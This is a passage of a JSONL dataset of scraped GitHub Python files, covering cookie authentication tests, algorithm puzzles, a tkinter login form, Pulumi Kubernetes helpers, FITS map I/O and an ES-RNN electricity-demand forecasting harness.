'is_identity_removed', lambda x: True)\n result = cookie_rmm.get_remembered_encrypted_identity('subject_context')\n assert 'not an HTTP' in caplog.text and result is None\n\n\ndef test_cookie_rmm_get_remembered_encrypted_identity_remember_me(\n cookie_rmm, monkeypatch, mock_web_registry, web_subject_context):\n \"\"\"\n remember_me cookie exists, so it is b64 decoded and the encrypted val returned\n \"\"\"\n encoded = base64.b64encode(b'remembered')\n\n monkeypatch.setattr(mock_web_registry, 'current_remember_me', encoded)\n monkeypatch.setattr(cookie_rmm, 'is_identity_removed', lambda x: False)\n monkeypatch.setattr(web_subject_context, 'web_registry', mock_web_registry)\n\n result = cookie_rmm.get_remembered_encrypted_identity(web_subject_context)\n\n assert result == base64.b64decode(encoded)\n\n\ndef test_cookie_rmm_get_remembered_encrypted_identity_no_remember_me(\n cookie_rmm, monkeypatch, mock_web_registry, web_subject_context):\n \"\"\"\n no remember_me cookie will return None\n \"\"\"\n\n monkeypatch.setattr(mock_web_registry, 'current_remember_me', None)\n monkeypatch.setattr(cookie_rmm, 'is_identity_removed', lambda x: False)\n monkeypatch.setattr(web_subject_context, 'web_registry', mock_web_registry)\n\n result = cookie_rmm.get_remembered_encrypted_identity(web_subject_context)\n\n assert result is None\n\n\ndef test_cookie_rmm_forget_identity(\n cookie_rmm, mock_web_delegating_subject):\n \"\"\"\n the subject's webregistry remember_me cookie deleter is called\n \"\"\"\n cookie_rmm.forget_identity(mock_web_delegating_subject, 'sc')\n\n assert (mock_web_delegating_subject.web_registry.remember_me_history ==\n [('DELETE', None)])\n","repo_name":"YosaiProject/yosai","sub_path":"test/isolated_tests/web/mgt/test_mgt.py","file_name":"test_mgt.py","file_ext":"py","file_size_in_byte":9534,"program_lang":"python","lang":"en","doc_type":"code","stars":585,"dataset":"github-code","pt":"61"} +{"seq_id":"18284025674","text":"# Check if the binary tree is balanced\nclass Node(object):\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n \nclass BinaryTree(object):\n def __init__(self, root=None):\n self.root = root\n \n def array_to_bt(self, arr):\n l = len(arr)\n arr.insert(0, 0)\n return self.array_to_bt_helper(arr, None, 1, l)\n \n def array_to_bt_helper(self, arr, root, i, n):\n if i<=n:\n el = arr[i]\n root = Node(el)\n root.left = self.array_to_bt_helper(arr, root.left, 2*i, n)\n root.right = self.array_to_bt_helper(arr, root.right, (2*i)+1, n)\n \n return root\n \n def check_balanced_tree(self, start):\n if start:\n check_left, left_ht = self.check_balanced_tree(start.left)\n check_right, right_ht = self.check_balanced_tree(start.right)\n \n if check_left == False or check_right == False:\n return False, max(left_ht, right_ht) + 1\n \n elif abs(left_ht - right_ht) <= 1:\n return True, max(left_ht, right_ht) + 1\n else:\n return False, max(left_ht, right_ht) + 1\n \n return True, 0\n\n# Driver Code \nbt1=BinaryTree()\nn1 = Node(1)\nn2 = Node(2)\nn3 = Node(3)\nn4 = Node(4)\nn5 = Node(5)\nn6 = Node(6)\n\nbt1.root = n1\nbt1.root.left = n2\nbt1.root.right = n3\nbt1.root.right.right = n4\nbt1.root.right.right.left = n5\nbt1.root.right.right.right = n6\n\ncheck_balanced_bt, ht = bt1.check_balanced_tree(bt1.root)\nprint(check_balanced_bt, ht)","repo_name":"hkhaitan0107/data_structure_python","sub_path":"bt_check_balanced.py","file_name":"bt_check_balanced.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74179590274","text":"import operator\nfrom functools import partial\nfrom itertools import (chain,\n permutations)\nfrom typing import (Iterable,\n Tuple,\n List)\n\nfrom utils import has_n_elements\n\nLINE_LENGTH = 3\nMagicNGonRingType = List[Tuple[int, int, int]]\n\n\ndef ring_to_string(ring: MagicNGonRingType) -> str:\n return ''.join(map(str, chain(*ring)))\n\n\ndef magic_n_gon_rings(numbers: Iterable[int],\n *,\n n: int) -> Iterable[MagicNGonRingType]:\n for line in permutations(numbers, LINE_LENGTH):\n first_start = line[0]\n target_sum = sum(line)\n rest_numbers = set(numbers) - set(line)\n next_starts_candidates = filter(partial(operator.lt,\n first_start),\n rest_numbers)\n for next_starts in permutations(next_starts_candidates,\n r=n - 1):\n ring = [line]\n next_ends_candidates = rest_numbers - set(next_starts)\n next_middle = line[-1]\n *next_starts, last_start = next_starts\n for next_start in next_starts:\n next_end = target_sum - next_start - next_middle\n if next_end not in next_ends_candidates:\n break\n next_line = next_start, next_middle, next_end\n ring.append(next_line)\n next_middle = next_end\n else:\n last_line = last_start, next_middle, line[1]\n if sum(last_line) != target_sum:\n continue\n ring.append(last_line)\n yield ring\n\n\n# reversing numbers order gives us maximum on the first entry\nmagic_3_gon_rings = magic_n_gon_rings(range(6, 0, -1),\n n=3)\nmagic_3_gon_rings_strings = map(ring_to_string,\n magic_3_gon_rings)\nmagic_5_gon_rings = magic_n_gon_rings(range(10, 0, -1),\n n=5)\nmagic_5_gon_rings_strings = map(ring_to_string,\n magic_5_gon_rings)\nhas_sixteen_elements = partial(has_n_elements, n=16)\n\nassert next(magic_3_gon_rings_strings) == '432621513'\nassert next(filter(has_sixteen_elements,\n magic_5_gon_rings_strings)) == '6531031914842725'\n","repo_name":"lycantropos/Project-Euler","sub_path":"68.py","file_name":"68.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23384739241","text":"import sys\nfrom pprint import pprint\n\nWIN_SITUATIONS = [\n (0,1,2,3),\n (4,5,6,7),\n (8,9,10,11),\n (12,13,14,15),\n\n (0,4,8,12),\n (1,5,9,13),\n (2,6,10,14),\n (3,7,11,15),\n\n (0,5,10,15),\n (3,6,9,12)\n ]\n\n\ndef transform_case_into_list(inp):\n # inp == ['xxxx', 'xxxx', 'xxxx', 'xxxx']\n t_map = {\n 'O': 1,\n 'X': -1,\n 'T': 1,\n '.': 0\n }\n t_map2 = {\n 'O': 1,\n 'X': -1,\n 'T': -1,\n '.': 0\n }\n\n A = list([t_map[x] for x in ''.join(inp)])\n B = list([t_map2[x] for x in ''.join(inp)])\n\n return [A, B]\n\ndef get_line(inp, X):\n return [inp[x] for x in X]\n\ndef get_lines_sum(inp, A, B):\n result_list = []\n for situation in WIN_SITUATIONS:\n \n \"\"\"\n print 'A'\n pprint(get_line(A, situation))\n print 'B'\n pprint(get_line(B, situation))\n \"\"\"\n\n a_result = sum(get_line(A, situation))\n b_result = sum(get_line(B, situation))\n result_list += [a_result, b_result]\n\n return result_list\n \n \n \n\nif __name__ == '__main__':\n filename = sys.argv[1]\n with open(filename) as fp:\n input_lines = fp.readlines()\n input_lines = [x.strip() for x in input_lines]\n\n case_num = int(input_lines[0])\n\n rest_cases = input_lines[1:]\n\n inp_cases = []\n for i in range(case_num):\n offset=4*i\n start=offset+i\n end=start+4\n inp_cases.append(rest_cases[start:end])\n\n #pprint(inp_cases)\n\n ## start dealing with\n\n for n,each_case in enumerate(inp_cases):\n result = [0,0] #O(4), X(-4)\n AB = transform_case_into_list(each_case)\n #pprint(get_lines_sum(each_case, *AB))\n line_sum = get_lines_sum(each_case, *AB)\n\n not_complete = 0\n\n if 4 in line_sum:\n result[0] = 1\n if -4 in line_sum:\n result[1] = 1\n if 0 in AB[0]:\n not_complete = 1\n\n result_title = \"\"\n\n if result == [1,0]:\n result_title = \"O won\"\n elif result == [0,1]:\n result_title = \"X won\"\n elif result == [0,0]:\n if not_complete:\n result_title = \"Game has not completed\"\n else:\n result_title = \"Draw\"\n\n\n\n\n case_title = \"Case #{0}: {1}\\n\".format(n+1, result_title)\n sys.stdout.write(case_title)\n\n\n\n \n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_116/669.py","file_name":"669.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39651656069","text":"from tkinter import*\r\n\r\npencere=Tk()\r\netiket=Label(pencere)\r\netiket.config(text=\"kullanıcı adınızı giriniz\",bg=\"gray\",font=(\"Vertana\",20))\r\netiket.place(x=100,y=100)\r\nentry=Entry(pencere)\r\nentry.place(x=100,y=150)\r\nsifre=Label(pencere)\r\nsifre.config(text=\"şifrenizi giriniz\",bg=\"gray\",font=(\"Vertana\",20))\r\nsifre.place(x=100,y=250)\r\ngiris=Entry(pencere)\r\ngiris=Entry(pencere)\r\ngiris.place(x=100,y=300)\r\nbuton=Button(pencere)\r\nbuton.config(text=\"Giriş yap\",bg=\"black\",fg=\"white\")\r\nbuton.place(x=20,y=100)\r\nmainloop()\r\n\r\n\r\n","repo_name":"ranauzel/python","sub_path":"9_hafta/bot_yapimi.py","file_name":"bot_yapimi.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26477087923","text":"import astropy.io.fits as pf\nimport numpy as np\nimport healpy\nfrom utils import map_utils, fits_utils\n\n\ndef read_planck_fullmap(fname, unit_map, field=0, nest=False,\n dtype=np.float64, verbose=True, extension=1,\n extract_comments=False):\n \"\"\" Reads a FITS file containing one or more HEALPix maps from PLA.\n\n This routine is mostly copied from healpy.read_map with some minor changes\n to accommodate our needs.\n\n Arguments:\n fname (string): The filename of the map.\n field (integer, iterable): Which field(s) to load.\n dtype (numpy dtype): To which data type the data should be cast. None\n means that the data type will be inferred from the FITS header.\n verbose(bool): If True, print a number of diagnostic messages.\n extension (integer): If the file contains several extensions containing\n data, specifies which we should read from.\n extract_comments (bool): Whether to propagate the comments in the FITS\n header to the output map object.\n\n Returns:\n Map object containing the specified data.\n \"\"\"\n\n hdulist = pf.open(fname)\n fits_hdu = hdulist[extension]\n\n nside = fits_hdu.header['NSIDE']\n nside = int(nside)\n\n if not healpy.pixelfunc.isnsideok(nside):\n raise ValueError('Wrong nside parameter.')\n\n ordering = fits_hdu.header['ORDERING']\n\n sz = healpy.pixelfunc.nside2npix(nside)\n ret = []\n\n if field is None:\n field = range(len(fits_hdu.data.columns))\n elif not (hasattr(field, '__len__') or isinstance(field, basestring)):\n field = (field,)\n\n if dtype is None:\n dtype = []\n for i in field:\n dtype.append(fits_utils.fits2numpyformat(\n fits_hdu.header['TFORM%d' % (i+1)]))\n else:\n try:\n assert len(dtype) == len(field), \"\"\"The number of dtypes are not\n equal to the number of fields\"\"\"\n except TypeError:\n dtype = [dtype] * len(field)\n\n for ff, curr_dtype in zip(field, dtype):\n try:\n m = fits_hdu.data.field(ff).astype(curr_dtype).ravel()\n except pf.VerifyError as e:\n print(e)\n print(\"Trying to fix a badly formatted header\")\n m = fits_hdu.verify(\"fix\")\n m = fits_hdu.data.field(ff).astype(curr_dtype).ravel()\n\n if (not healpy.pixelfunc.isnpixok(m.size) or\n (sz > 0 and sz != m.size)):\n raise ValueError('Wrong nside parameter.')\n if nest is not None: # no conversion with None\n if nest and ordering == 'RING':\n idx = healpy.pixelfunc.nest2ring(\n nside,\n np.arange(m.size, dtype=np.int32))\n m = m[idx]\n if verbose:\n print('Ordering converted to NEST')\n elif (not nest) and ordering == 'NESTED':\n idx = healpy.pixelfunc.ring2nest(nside,\n np.arange(m.size,\n dtype=np.int32))\n m = m[idx]\n if verbose:\n print('Ordering converted to RING')\n try:\n m[healpy.pixelfunc.mask_bad(m)] = healpy.UNSEEN\n except OverflowError:\n pass\n ret.append(m)\n if nest is not None:\n ordering = ('nested' if nest else 'ring')\n else:\n ordering = ordering.lower()\n\n comments = []\n if extract_comments:\n comments = fits_utils.extract_header_comments(fits_hdu.header.cards)\n\n return map_utils.bundle_fullmap(ret, header=list(fits_hdu.header.cards),\n ordering=ordering,\n header_filter=list(field),\n unit_map=unit_map,\n comments=comments)\n\n\ndef write_planck_fullmap(fname, fmap):\n \"\"\" Writes a map to a FITS file.\n\n This routine is mostly copied from healpy.write_map with some minor changes\n to accommodate our needs.\n\n Arguments:\n fname (string): The filename (including path) of the output file.\n fmap (map object): The map object to save.\n\n Returns:\n None\n \"\"\"\n\n m = fmap['data']\n header = fits_utils.prepare_header(fmap)\n\n if not hasattr(m, '__len__'):\n raise TypeError('The map must be a sequence')\n\n m = healpy.pixelfunc.ma_to_array(m)\n if healpy.pixelfunc.maptype(m) == 0: # a single map is converted to a list\n m = [m]\n\n # We collect column units, names, and formats from the input header\n column_names = []\n column_units = []\n fitsformat = []\n\n for args in header:\n if args[0].startswith('TTYPE'):\n column_names.append(args[1])\n elif args[0].startswith('TFORM'):\n fitsformat.append(args[1])\n elif args[0].startswith('TUNIT'):\n column_units.append(args[1])\n\n # maps must have same length\n assert len(set(map(len, m))) == 1, \"Maps must have same length\"\n nside = healpy.pixelfunc.npix2nside(len(m[0]))\n\n if nside < 0:\n raise ValueError('Invalid healpix map : wrong number of pixel')\n\n cols = []\n\n for cn, cu, mm, curr_fitsformat in zip(column_names, column_units, m,\n fitsformat):\n cols.append(pf.Column(name=cn,\n format='%s' % curr_fitsformat,\n array=mm,\n unit=cu))\n tbhdu = pf.BinTableHDU.from_columns(cols)\n\n currpos = len(tbhdu.header)\n for args in header:\n if (args[0].startswith('TTYPE') or args[0].startswith('TFORM') or\n args[0].startswith('TUNIT')):\n tbhdu.header.set(args[0], value=args[1], comment=args[2],\n after=currpos)\n currpos += 1\n continue\n elif (args[0] != 'COMMENT' and args[0] in tbhdu.header):\n continue\n tbhdu.header.insert(currpos, args, after=True)\n currpos += 1\n\n tbhdu.writeto(fname, clobber=True)\n\n\ndef read_planck_cutout(fname, unit_map, extract_comments=False):\n \"\"\" Reads a FITS file containing one or more cutout maps from PLA.\n\n Arguments:\n fname (string): The file name (including path) of the cutout.\n extract_comments (bool): Whether to propagate the comments in the FITS\n header to the output map object.\n\n Returns:\n Map object containing cutout data.\n \"\"\"\n\n hdulist = pf.open(fname)\n datalist = []\n hdrlist = []\n\n for hdu in hdulist[1:]:\n datalist.append(hdu.data)\n hdrlist.append(list(hdu.header.cards))\n\n #Assume comments for all extensions are the same\n comments = []\n if extract_comments:\n comments = fits_utils.extract_header_comments(hdulist[1].header.cards)\n\n return map_utils.bundle_cutout(datalist, header=hdrlist, unit_map=unit_map,\n comments=comments)\n\n\ndef write_planck_cutout(fname, cutout):\n \"\"\" Write a cutout map object to file.\n\n Arguments:\n fname (string): Filename of the output file.\n cutout (map object): The map object to save.\n\n Returns:\n None\n \"\"\"\n datalist = cutout['data']\n cutout = map_utils.sign_map(cutout)\n headerlist = fits_utils.prepare_header(cutout)\n hdulist = [pf.PrimaryHDU()]\n namelist = []\n for header in headerlist:\n for card in header:\n if card[0].startswith('EXTNAME'):\n namelist.append(card[1])\n break\n if namelist == []:\n namelist = [None] * len(headerlist)\n\n for data, name, header in zip(datalist, namelist, headerlist):\n if isinstance(data, np.ma.masked_array):\n data = np.array(data)\n hdulist.append(pf.ImageHDU(data=data, name=name,\n header=pf.Header(header)))\n hdulist = pf.HDUList(hdulist)\n hdulist.writeto(fname, clobber=True)\n","repo_name":"eirikgje/cmb_analysis","sub_path":"utils/fits_io_utils.py","file_name":"fits_io_utils.py","file_ext":"py","file_size_in_byte":8055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15384776089","text":"import socket\n\n__author__ = \"reza0310\"\n\n\ndef initialize():\n # Variables indépendantes:\n\n global HEADER_LENGTH\n HEADER_LENGTH = 10\n\n global FPS\n FPS = 60\n\n global separateur\n separateur = \"/\"\n\n global images\n images = {\"arriere_plan\": \"data\"+separateur+\"arriereplan.png\"}\n\n global mode\n mode = \"DEV\"\n\n global longueur_dev\n longueur_dev = 1334\n\n global largeur_dev\n largeur_dev = 750\n\n global orientation\n orientation = \"paysage\"\n\n # Dépendances:\n from framework import HUD\n from CQRT import Coeur\n\n # Variables dépendates:\n\n global hud\n hud = HUD()\n\n global jeu\n jeu = Coeur()\n\n global account_client\n account_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n global account_ip\n account_ip = \"\"\n\n global account_port\n account_port = 0\n\n global message_client\n message_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n global message_ip\n message_ip = \"\"","repo_name":"reza0310/Appli_Kivy_7-CQRT","sub_path":"CLIENT/globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3988561367","text":"import textwrap\nfrom typing import Dict, List\n\nimport pulumi\nimport pulumi_kubernetes as k8s\n\nfrom .config_types import MariaDBConnection, InitDB\n\n\ndef simple_pvc(name: str, namespace: str, storage_request: str, storage_class: str, opts: pulumi.ResourceOptions | None = None) -> k8s.core.v1.PersistentVolumeClaim:\n return k8s.core.v1.PersistentVolumeClaim(\n resource_name=f'kubernetes-persistentvolumeclaim-{namespace}-{name}',\n metadata=k8s.meta.v1.ObjectMetaArgs(\n name=name,\n namespace=namespace,\n ),\n spec=k8s.core.v1.PersistentVolumeClaimSpecArgs(\n access_modes=[\"ReadWriteOnce\"],\n resources=k8s.core.v1.ResourceRequirementsArgs(\n requests={\n 'storage': storage_request,\n },\n ),\n storage_class_name=storage_class,\n ),\n )\n\ndef simple_configmap(name: str, namespace: str, contents: Dict[str, str], opts: pulumi.ResourceOptions | None = None) -> k8s.core.v1.ConfigMap:\n return k8s.core.v1.ConfigMap(\n resource_name=name,\n metadata=k8s.meta.v1.ObjectMetaArgs(\n name=name,\n namespace=namespace,\n ),\n data=contents,\n opts=opts,\n )\n\ndef simple_secret(name: str, namespace: str, contents: Dict[str, str], opts: pulumi.ResourceOptions | None = None) -> k8s.core.v1.Secret:\n return k8s.core.v1.Secret(\n resource_name=name,\n metadata=k8s.meta.v1.ObjectMetaArgs(\n name=name,\n namespace=namespace,\n ),\n string_data=contents,\n opts=opts,\n )\n\ndef simple_env_vars(data: Dict[str, str]) -> List[k8s.core.v1.EnvVarArgs]:\n res = []\n for k, v in data.items():\n res.append(k8s.core.v1.EnvVarArgs(name=k, value=v))\n return res\n\n\ndef pvc_volume(name: str, pvc: k8s.core.v1.PersistentVolumeClaim) -> k8s.core.v1.VolumeArgs:\n return k8s.core.v1.VolumeArgs(\n name=name,\n persistent_volume_claim=k8s.core.v1.PersistentVolumeClaimVolumeSourceArgs(\n claim_name=pvc.metadata['name'],\n )\n )\n\ndef config_map_volume(name: str, cm: k8s.core.v1.ConfigMap) -> k8s.core.v1.VolumeArgs:\n return k8s.core.v1.VolumeArgs(\n name=name,\n config_map=k8s.core.v1.ConfigMapVolumeSourceArgs(\n name=cm.metadata['name'],\n ),\n )\n\n\ndef cluster_local_address(name: str, namespace: str) -> str:\n return f'{name}.{namespace}.svc.cluster.local'\n\n\ndef service_cluster_local_address(service: k8s.core.v1.Service) -> str:\n return cluster_local_address(service.metadata['name'], service.metadata['namespace'])\n\n\nclass MysqlInitDB(pulumi.ComponentResource):\n secret: k8s.core.v1.Secret\n configmap: k8s.core.v1.ConfigMap\n\n init_container: k8s.core.v1.ContainerArgs\n volume: k8s.core.v1.VolumeArgs\n\n def __init__(\n self, \n resource_name: str,\n name: str, \n namespace: str, \n dbname: str, \n conn: MariaDBConnection, \n opts: pulumi.ResourceOptions | None = None\n ):\n super().__init__('anton:util:MysqlInitDB', resource_name, None, opts)\n\n self.secret = k8s.core.v1.Secret(\n resource_name=f'{resource_name}:credentials',\n metadata=k8s.meta.v1.ObjectMetaArgs(\n name=name,\n namespace=namespace,\n ),\n string_data={\n 'DB_USER': conn.user,\n 'DB_PASSWORD': conn.password,\n 'DB_HOST': conn.host,\n 'DB_PORT': str(conn.port),\n },\n opts=pulumi.ResourceOptions(\n parent=self,\n ),\n )\n\n self.configmap = k8s.core.v1.ConfigMap(\n resource_name=f'{resource_name}:scripts',\n metadata=k8s.meta.v1.ObjectMetaArgs(\n name=name,\n namespace=namespace,\n ),\n data={\n 'entrypoint.sh': textwrap.dedent(f'''\n #! /bin/bash\n \n mysql \\\\\n --user=\"$DB_USER\" \\\\\n --password=\"$DB_PASSWORD\" \\\\\n --host=\"$DB_HOST\" \\\\\n --port=\"$DB_PORT\" \\\\\n < /initdb/init.sql\n ''').strip(),\n 'init.sql': textwrap.dedent(f'''\n CREATE DATABASE IF NOT EXISTS {dbname};\n ''')\n },\n opts=pulumi.ResourceOptions(\n parent=self,\n ),\n )\n\n self.init_container = k8s.core.v1.ContainerArgs(\n name='initdb',\n image='docker.io/bitnami/mariadb:10.5.11-debian-10-r0',\n command=['/initdb/entrypoint.sh'],\n env_from=[\n k8s.core.v1.EnvFromSourceArgs(\n secret_ref=k8s.core.v1.SecretEnvSourceArgs(\n name=self.secret.metadata['name'],\n optional=False,\n ),\n ),\n ],\n volume_mounts=[\n k8s.core.v1.VolumeMountArgs(\n name='initdb',\n mount_path='/initdb',\n ),\n ],\n )\n\n self.volume = k8s.core.v1.VolumeArgs(\n name='initdb',\n config_map=k8s.core.v1.ConfigMapVolumeSourceArgs(\n name=self.configmap.metadata['name'],\n default_mode=0o777,\n ),\n )\n\n\n\n","repo_name":"antonpaquin/homelab","sub_path":"pulumi/modules/lib/boilerplate.py","file_name":"boilerplate.py","file_ext":"py","file_size_in_byte":5466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5255470666","text":"import pandas as pd\nimport numpy as np\n\nimport sys\nimport os\nimport torch\nimport json\n\nfrom ml.ml_helpers import pinball_loss\nfrom plotting import plot_test\nfrom stats.stats_helpers import split_data, deseasonalise, reseasonalise\nfrom stats.errors import sMAPE, MASE, OWA\nfrom stats.naive import naive_2\nfrom hybrid.hybrid import train_and_predict_i, train_and_predict_s\nfrom hybrid.es_rnn_s import ES_RNN_S\nfrom hybrid.es_rnn_i import ES_RNN_I\n\n\n# General function used to do testing and tweaking of the hybrid model\ndef run(demand_df, weather_df):\n # Optional command line argumenkts to specify year/season\n year = -1 if len(sys.argv) < 3 else int(sys.argv[2])\n season = -1 if len(sys.argv) < 4 else int(sys.argv[3])\n\n # Testing parameters\n window_size = 336\n output_size = 48\n plot = False\n ensemble = False\n skip_lstm = False\n init_params = True\n write_results = True\n file_location = str(os.path.abspath(os.path.dirname(__file__)))\n model = True # True = Ingram, False = Smyl\n multiple = False # Use multiple time series in Smyl's model\n weather = False # Include weather data in the chosen model\n valid = True # True = use validation set, False = use test set\n batch_first = True\n\n demand_features = demand_df.columns\n weather_features = weather_df.columns\n\n # If using weather features, add them to the demand_df\n if weather:\n for c in weather_df.columns:\n demand_df[c] = weather_df[c]\n\n # all_data = {Season: [Year1, ...]}\n all_data = split_data(demand_df)\n\n # Each year = [<- 12 week Train -> | <- 1 week Val. -> | <- 1 week Test ->]\n valid_sets = [\n all_data[\"Winter\"][year if year >= 0 else 1][:-(7 * 24)],\n all_data[\"Spring\"][year if year >= 0 else 0][:-(7 * 24)],\n all_data[\"Summer\"][year if year >= 0 else 3][:-(7 * 24)],\n all_data[\"Autumn\"][year if year >= 0 else 2][:-(7 * 24)]\n ]\n\n test_sets = [\n all_data[\"Winter\"][year if year >= 0 else 1],\n all_data[\"Spring\"][year if year >= 0 else 0],\n all_data[\"Summer\"][year if year >= 0 else 3],\n all_data[\"Autumn\"][year if year >= 0 else 2]\n ]\n\n if file_location == \"/ddn/home/gkxx72/AdvancedResearchProject/dev/hybrid\":\n res_base = \"/ddn/home/gkxx72/AdvancedResearchProject/run/test_res/\"\n else:\n res_base = \"/Users/matt/Projects/AdvancedResearchProject/test/\"\n\n if valid:\n data = valid_sets[season if season >= 0 else 2]\n else:\n data = test_sets[season if season >= 0 else 2]\n\n # Set the number of features\n if model:\n input_size = len(data.columns) # My model, with or without weather\n elif weather:\n input_size = 1 + len(weather_df.columns) # Smyl's model, with weather\n else:\n input_size = 1 # Smyl's model, without weather\n\n global_rates_dict = {\n \"ingram\": {10: 5e-3, 20: 1e-3, 30: 5e-4},\n \"smyl_1\": {10: 5e-3, 20: 1e-3, 30: 5e-4},\n \"smyl_m\": {10: 5e-3, 20: 1e-3, 30: 5e-4}\n }\n global_init_rates_dict = {\n \"ingram\": 0.008,\n \"smyl_1\": 0.008,\n \"smyl_m\": 0.008\n }\n local_rates_dict = {\n \"ingram\": {10: 2e-3, 20: 1e-3, 30: 5e-4},\n \"smyl_1\": {10: 1e-3, 20: 5e-4, 30: 1e-4},\n \"smyl_m\": {10: 2e-3, 20: 1e-3, 30: 5e-4}\n }\n local_init_rates_dict = {\n \"ingram\": 0.01,\n \"smyl_1\": 0.005,\n \"smyl_m\": 0.01\n }\n\n if model:\n global_init_lr = global_init_rates_dict[\"ingram\"]\n global_rates = global_rates_dict[\"ingram\"]\n local_init_lr = local_init_rates_dict[\"ingram\"]\n local_rates = local_rates_dict[\"ingram\"]\n else:\n if multiple:\n global_init_lr = global_init_rates_dict[\"smyl_m\"]\n global_rates = global_rates_dict[\"smyl_m\"]\n local_init_lr = local_init_rates_dict[\"smyl_m\"]\n local_rates = local_rates_dict[\"smyl_m\"]\n else:\n global_init_lr = global_init_rates_dict[\"smyl_1\"]\n global_rates = global_rates_dict[\"smyl_1\"]\n local_init_lr = local_init_rates_dict[\"smyl_1\"]\n local_rates = local_rates_dict[\"smyl_1\"]\n\n # Model hyper parameters\n num_epochs = 35\n hidden_size = 40\n num_layers = 4\n dilations = [1, 4, 24, 168]\n level_variability_penalty = 80\n percentile = 0.49\n loss_func = pinball_loss\n grad_clipping = 20\n auto_lr = False # Automatically adjust learning rates\n variable_lr = True # Use list of epoch/rate pairs\n auto_rate_threshold = 1.005 # If loss(x - 1) < 1.005 * loss(x) reduce rate\n min_epochs_before_change = 2\n residuals = tuple([[1, 3]]) # Residual connection from 2nd out -> 4th out\n seasonality = 168\n init_level_smoothing = int(sys.argv[4]) if len(sys.argv) >= 5 else -1\n init_seasonal_smoothing = int(sys.argv[5]) if len(sys.argv) >= 5 else -1.1\n\n test_model_week(data, output_size, input_size, hidden_size,\n num_layers, batch_first, dilations, demand_features,\n weather_features, seasonality, residuals, window_size,\n level_variability_penalty, loss_func, num_epochs,\n local_init_lr, global_init_lr, init_level_smoothing,\n init_seasonal_smoothing, percentile, auto_lr,\n variable_lr, auto_rate_threshold,\n min_epochs_before_change, local_rates, global_rates,\n grad_clipping, write_results, plot, year, season,\n ensemble, multiple, skip_lstm, model, init_params,\n res_base, weather)\n\n\n# Test the model across entire week of validation or test data (7 forecasts)\ndef test_model_week(data, output_size, input_size, hidden_size,\n num_layers, batch_first, dilations, demand_features,\n weather_features, seasonality, residuals, window_size,\n level_variability_penalty, loss_func, num_epochs,\n local_init_lr, global_init_lr,\n init_level_smoothing, init_seasonal_smoothing, percentile,\n auto_lr, variable_lr, auto_rate_threshold,\n min_epochs_before_change, local_rates, global_rates,\n grad_clipping, write_results, plot, year, season,\n ensemble, multi_ts, skip_lstm, model, init_params,\n res_base, weather):\n\n # Arrays and dictionaries to hold the results\n es_rnn_predictions = []\n es_rnn_smapes = []\n es_rnn_mases = []\n naive2_predictions = []\n naive2_smapes = []\n naive2_mases = []\n actuals_mases = []\n actuals = []\n owas = []\n results = {i: {} for i in range(1, 8)}\n\n # Loop through each day in the week\n for i in range(8, 1, -1):\n\n # Figure out start and end points of the training/test data\n end_train = -(i * 24)\n start_test = -(i * 24 + window_size)\n end_test = -(i * 24 - output_size) if i != 2 else None\n train_data = data[:end_train]\n test_data = data[start_test:end_test]\n mase_data = data[\"total load actual\"][:end_test]\n\n # Initialise (or not) the parameters\n if init_params:\n init_seas = {}\n init_l_smooth = {}\n init_s_smooth = {}\n for f in demand_features:\n deseas, indic = deseasonalise(train_data[f], 168,\n \"multiplicative\")\n init_seas[f] = indic\n init_l_smooth[f] = init_level_smoothing\n init_s_smooth[f] = init_seasonal_smoothing\n\n if f == \"total load actual\":\n train_deseas = deseas\n indices = indic\n else:\n deseas, indic = deseasonalise(train_data[\"total load actual\"],\n 168, \"multiplicative\")\n train_deseas = deseas\n indices = indic\n init_seas = None\n init_l_smooth = None\n init_s_smooth = None\n\n # Calculate the batch size\n batch_size = len(train_data[\"total load actual\"]) - window_size - \\\n output_size + 1\n\n # Create a new model. Either mine or Smyl's\n if model:\n lstm = ES_RNN_I(\n output_size, input_size, batch_size, hidden_size,\n num_layers, demand_features, weather_features, seasonality,\n dropout=0, cell_type='LSTM', batch_first=batch_first,\n dilations=dilations, residuals=residuals,\n init_seasonality=init_seas, init_level_smoothing=init_l_smooth,\n init_seas_smoothing=init_s_smooth\n ).double()\n else:\n lstm = ES_RNN_S(\n output_size, input_size, batch_size, hidden_size, num_layers,\n demand_features, weather_features, seasonality, dropout=0,\n cell_type='LSTM',\n batch_first=batch_first, dilations=dilations,\n residuals=residuals, init_seasonality=init_seas,\n init_level_smoothing=init_l_smooth,\n init_seas_smoothing=init_s_smooth\n ).double()\n\n # Register gradient clipping function\n for p in lstm.parameters():\n p.register_hook(\n lambda grad: torch.clamp(grad, -grad_clipping, grad_clipping))\n\n # Set model in training mode\n lstm.train()\n\n print(\"----- TEST\", str(9 - i), \"-----\")\n\n # Train the model. Discard prediction here (used in proper function)\n if model:\n _, losses = train_and_predict_i(\n lstm, train_data, window_size,\n output_size,\n level_variability_penalty,\n loss_func,\n num_epochs, local_init_lr,\n global_init_lr,\n percentile,\n auto_lr, variable_lr,\n auto_rate_threshold,\n min_epochs_before_change,\n test_data, local_rates,\n global_rates,\n ensemble, weather\n )\n else:\n _, losses = train_and_predict_s(\n lstm, train_data, window_size, output_size,\n level_variability_penalty, loss_func, num_epochs,\n local_init_lr, global_init_lr, percentile, auto_lr,\n variable_lr, auto_rate_threshold, min_epochs_before_change,\n test_data, local_rates, global_rates, ensemble, multi_ts,\n skip_lstm, weather\n )\n\n # 